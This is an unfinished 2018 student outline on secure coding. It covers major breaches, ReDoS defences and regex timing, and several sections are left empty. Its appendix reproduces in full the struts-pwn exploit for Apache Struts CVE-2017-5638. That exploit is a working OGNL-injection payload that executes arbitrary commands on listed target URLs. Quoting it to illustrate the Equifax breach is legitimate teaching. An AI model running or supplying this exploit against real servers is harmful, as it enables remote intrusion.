Secure Coding Practices: A General Outline

Jay Rovacsek c3146220@uon.edu.au

October 28, 2018

Contents

1 Preface

1.1 Running with Scissors

Admittedly, the title for this section is very much thanks to one of the first items[1] I read sections of while creating this document. The analogy for development in terms of security could not be more apt for a large portion of the development community.

Why cover this topic? As a security enthusiast and developer, I often found myself looking at a system left untouched until absolutely required, the design choices, logic and knowledge of the language it was written in left with the author. Commonly a requirement for a hotfix was/is needed in a number of this circumstances as a number of critical business services and resources may rely on the system in question.

A large portion of this paper will focus around the more common exploited vectors of web applications, however the vectors commonly exploited in web application settings are commonly exploitable in a desktop application setting, this becomes more and more important to remember as large numbers of commonly used software move to enable cross platform compatibility by utilizing technologies such as Electron[11].

Security as a serious concern is only just now becoming much more "mainstream" to companies than it had previously been, movements pushing HTTPS such as Lets Encrypt[12] or high profile individuals such as Troy Hunt[10] have aided the process of mitigating some of the most easily exploited vectors such as MiTM attacks on unencrypted communications, a plethora of cybersecurity issues however still remain present in modern organisations, with the potential damage to both organisation and individual such as recent breaches in: Sony[2], Equifax[5] and a number of other recent high profile breaches of modern history.

1.2 Tripping Over

Security in programming ~~can be a~~ *is* hard beast to tame. Some languages arguably do much better in avoiding issues being caused by users new to the language or unskilled in understanding potential issues with the code they have written. We can certainly critique early languages for the level of access to the machine they allow a user, without careful consideration in design and a well founded knowledge in the language used issues notorious of early languages. However, in this day and age of highly abstracted languages and frameworks have we traded old demons for new, or do we really have more safety in our computing goals?

As suggested by Wheeler:[3] (Page 8)

> Many programmers don't intend to write insecure code - but do anyway.

2 What can go Wrong?

Most developers aren't developers to focus on security, they are creating solutions to problems in order to allow for some benefit to the owner of the software, this could be entertainment, productivity, sales increases or many other reasons.

But security as a base concept is more important than ever ever due to the nature of our increasingly connected world. Interestingly enough the attitude I've encountered within a number of development circles could be described as poor at best;

> "Security is a block to my creative outlet, security just gets in the way"

I won't cite the source of this statement, but I did hear this from a paid software developer before and it has stuck with me since.

2.1 Recent Prolific Breaches Caused By Software Design

A number of recent breaches can be used as good examples of why this topic is highly important:

- Equifax Breach 2017 (Estimated 143M individuals records leaked)[7] Caused by CVE-2017-5638[8] Python POC[13]
- Yahoo Breach 2014 (Over 500M Accounts Compromised)[4] Caused by a mixture of unhashed/salted secrets in DB and using insecure hashing algorithm (MD5) easily broken by multiple toolsets[14]
- Uber Breach 2016 (57M Users and 600,000 Drivers Data Exposed)
- Ashley Maddison -
- LinkedIn
- Jailbreaks
- Switch/IoS browser exploit

3 Common Issues in most Languages

3.1 User Input Sanitisation

User input sanitisation

3.2 ReDoS / Regex Denial Of Service

Given the requirement for string filtering is extremely common in all applications, ReDoS or Regex Denial Of Service[9] vulnerabilities are a very real threat in application security. A number of common defenses can be used against ReDoS attacks, application of which are extremely simple:

1. Atomic grouping in Regex
2. Regex lifetime limits
3. Sanitisation of input (Although this defeats the reasons to allow for Regex patterns to be used and is very easy to not implement correctly)

3.2.1 Atomic Grouping

Atomic grouping in Regex is a group that when Regex is no longer utilising the group is thrown away, and any tokens, or record of the grouping are discarded.

3.2.2 Regex Lifetime Limits

Lifetime limits are extremely simple in design, a regex process is allowed only a set amount of time in which it can perform its task. Failure to meet this leading to the process being killed.

3.2.3 Sanitisation of input

This solution to Regex patterns does go very much against the reasoning of using Regex in the first place, but has some valid uses cases:
Consider a user sign-up form on a webpage, the user isn't searching, but using anything but Regex in this setting would be pure nightmare fuel for any developer. A quick search of what patterns to use would yield pages such as regular-expressions.info[6] and you'd quickly realise the rabbit-hole for a suitable Regex statement could be:

```
\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}\b
```

But just as easily, it could be:

```
\A(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*
 |  "(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]
      |  \\[\x01-\x09\x0b\x0c\x0e-\x7f])*")
@ (?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?
  |  \[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}
       (?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:
          (?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]
          |  \\[\x01-\x09\x0b\x0c\x0e-\x7f])+)
     \])\z
```

As suggested by Goyvaerts[6]:

> So even when following official standards, there are still trade-offs to be made. Don't blindly copy regular expressions from online libraries or discussion forums. Always test them on your own data and with your own applications.

As shown by a simple python script:

```python
import re
import time

if __name__ == '__main__':

    email = 'c3146220@uon.edu.au'
    simple_pattern = r'\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}\b'
    complex_pattern = r'^(?=[A-Z0-9._%+-]{6,254}$)[A-Z0-9._
       ↪ %+-]{1,64}@(?:[A-Z0-9-]{1,63}\.){1,8}[A-Z]{2,63}$'

    start_time = time.time()
    re.match(simple_pattern, email, flags=0)
    computation_time = time.time() - start_time
    print(computation_time)

    start_time = time.time()
    re.match(complex_pattern, email, flags=0)
    computation_time = time.time() - start_time
    print(computation_time)
```

A simple checking of group bounds alone costs almost twice the time to be executed:

- Simple match: 0.0001652240753173828 seconds
- Complex match: 0.00030231475830078125 seconds

4 Modern Language Issues

5 Mature Language Issues

References

[1] R. C. Seacord, *Secure Coding in C and C++*. Pearson Education, 2005. [Online]. Available: https://www.pearson.com/us/higher-education/program/Seacord-Secure-Coding-in-C-and-C-2nd-Edition/PGM142190.html.

[2] J. Steinberg. (2014). Sony breach, [Online]. Available: https://www.forbes.com/sites/josephsteinberg/2014/12/11/massive-security-breach-at-sony-heres-what-you-need-to-know/.

[3] D. A. Wheeler, *Secure Programming HOWTO*. David A. Wheeler, 2015. [Online]. Available: https://dwheeler.com/secure-programs/Secure-Programs-HOWTO.pdf.

[4] Yahoo. (2016). Yahoo security notice december 14, 2016, [Online]. Available: https://help.yahoo.com/kb/sln28092.html.

[5] FTC. (2017). Equifax breach, [Online]. Available: https://www.ftc.gov/equifax-data-breach.

[6] J. Goyvaerts. (2017). Regular expression denial of service - redos, [Online]. Available: https://www.regular-expressions.info/email.html.

[7] S. Gressin. (2017). The equifax data breach: What to do, [Online]. Available: https://www.consumer.ftc.gov/blog/2017/09/equifax-data-breach-what-do.

[8] Various. (2017). Cve-2017-5638 detail, [Online]. Available: https://nvd.nist.gov/vuln/detail/CVE-2017-5638.

[9] ——, (2017). Regular expression denial of service - redos, [Online]. Available: https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS.

[10] T. Hunt. (2018). Https is easy, [Online]. Available: https://www.troyhunt.com/https-is-easy/.

[11] Various. (2018). Electron, [Online]. Available: https://electronjs.org/.

[12] ——, (2018). Lets encrypt, [Online]. Available: https://letsencrypt.org/.

[13] M. Ahmed. (2017-2018). Struts-pwn, [Online]. Available: https://github.com/mazen160/struts-pwn.

[14] Various. (). John the ripper, [Online]. Available: https://github.com/magnumripper/JohnTheRipper.

A Appendix

A.1 Proof Of Concept Code

```
#!/usr/bin/env python3
# coding=utf-8
# ******************************************************
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code is based on:
# https://www.exploit-db.com/exploits/41570/
# https://www.seebug.org/vuldb/ssvid-92746
# ******************************************************
import sys
import random
import requests
import argparse

# Disable SSL warnings
try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
except:
    pass

if len(sys.argv) <= 1:
    print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
    print('[*] Struts-PWN - @mazen160')
    print('\n%s -h for help.' % (sys.argv[0]))
    exit(0)

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
                    dest="url",
                    help="Check a single URL.",
                    action='store')
parser.add_argument("-l", "--list",
                    dest="usedlist",
                    help="Check a list of URLs.",
                    action='store')
parser.add_argument("-c", "--cmd",
                    dest="cmd",
                    help="Command to execute. (Default: id)",
                    action='store',
                    default='id')
parser.add_argument("--check",
                    dest="do_check",
                    help="Check if a target is vulnerable.",
```

```
                    action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_check = args.do_check if args.do_check else None


def url_prepare(url):
    url = url.replace('#', '%23')
    url = url.replace(' ', '%20')
    if ('://' not in url):
        url = str('http') + str('://') + str(url)
    return(url)


def exploit(url, cmd):
    url = url_prepare(url)
    print('\n[*] URL: %s' % (url))
    print('[*] CMD: %s' % (cmd))

    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.
       ↪ ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.
       ↪ opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').
       ↪ toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash
       ↪ ','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start
       ↪ ())."
    payload += "(#ros=(@org.apache.struts2.
       ↪ ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.
       ↪ getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    headers = {
        'User-Agent': 'struts-pwn (https://github.com/mazen160/
           ↪ struts-pwn)',
```

```
        # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit
          ↪ /537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari
          ↪ /537.36',
        'Content-Type': str(payload),
        'Accept': '*/*'
    }

    timeout = 3
    try:
        output = requests.get(url, headers=headers, verify=False,
          ↪ timeout=timeout, allow_redirects=False).text

    except requests.exceptions.ChunkedEncodingError:
        print("[!] ChunkedEncodingError Error: Making another
          ↪ request to the url.")
        print("Refer to: https://github.com/mazen160/struts-pwn/
          ↪ issues/8 for help.")
        try:
            output = b""
            with requests.get(url, headers=headers, verify=False,
              ↪ timeout=timeout, allow_redirects=False, stream=
              ↪ True) as resp:
                for i in resp.iter_content():
                    output += i
        except requests.exceptions.ChunkedEncodingError as e:
            print("EXCEPTION::::--> " + str(e))
            print("Note: Server Connection Closed Prematurely\n")
        except Exception as e:
            print("EXCEPTION::::--> " + str(e))
            output = 'ERROR'
        if type(output) != str:
            output = output.decode('utf-8')
        return(output)
    except Exception as e:
        print("EXCEPTION::::--> " + str(e))
        output = 'ERROR'

    return(output)


def check(url):
    url = url_prepare(url)
    print('\n[*] URL: %s' % (url))

    random_string = ''.join(random.choice('
      ↪ abcdefghijklmnopqrstuvwxyz') for i in range(7))

    payload = "%{#context['com.opensymphony.xwork2.dispatcher.
      ↪ HttpServletResponse']."
```

```
    payload += "addHeader('%s','%s')}.multipart/form-data" % (
        ↪ random_string, random_string)
    headers = {
        'User-Agent': 'struts-pwn (https://github.com/mazen160/
            ↪ struts-pwn)',
        # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit
            ↪ /537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari
            ↪ /537.36',
        'Content-Type': str(payload),
        'Accept': '*/*'
    }

    timeout = 3
    try:
        resp = requests.get(url, headers=headers, verify=False,
            ↪ timeout=timeout, allow_redirects=False)
        if ((random_string in resp.headers.keys()) and (resp.
            ↪ headers[random_string] == random_string)):
            result = True
        else:
            result = False
    except Exception as e:
        print("EXCEPTION::::--> " + str(e))
        result = False
    return(result)


def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
    if url:
        if do_check:
            result = check(url)  # Only check for existence of
                ↪ Vulnerablity
            output = '[*] Status: '
            if result is True:
                output += 'Vulnerable!'
            else:
                output += 'Not Affected.'
        else:
            output = exploit(url, cmd)  # Exploit
        print(output)

    if usedlist:
        URLs_List = []
        try:
            f_file = open(str(usedlist), 'r')
            URLs_List = f_file.read().replace('\r', '').split('\n'
                ↪ )
            try:
                URLs_List.remove('')
            except ValueError:
```

```
                pass
                f_file.close()
        except:
            print('Error: There was an error in reading list file.
               ↪ ')
            exit(1)
        for url in URLs_List:
            if do_check:
                result = check(url)  # Only check for existence of
                   ↪  Vulnerablity
                output = '[*] Status: '
                if result is True:
                    output += 'Vulnerable!'
                else:
                    output += 'Not Affected.'
            else:
                output = exploit(url, cmd)  # Exploit
            print(output)

    print('[%] Done.')

if __name__ == '__main__':
    try:
        main(url=url, usedlist=usedlist, cmd=cmd, do_check=
           ↪ do_check)
    except KeyboardInterrupt:
        print('\nKeyboardInterrupt Detected.')
        print('Exiting...')
        exit(0)
```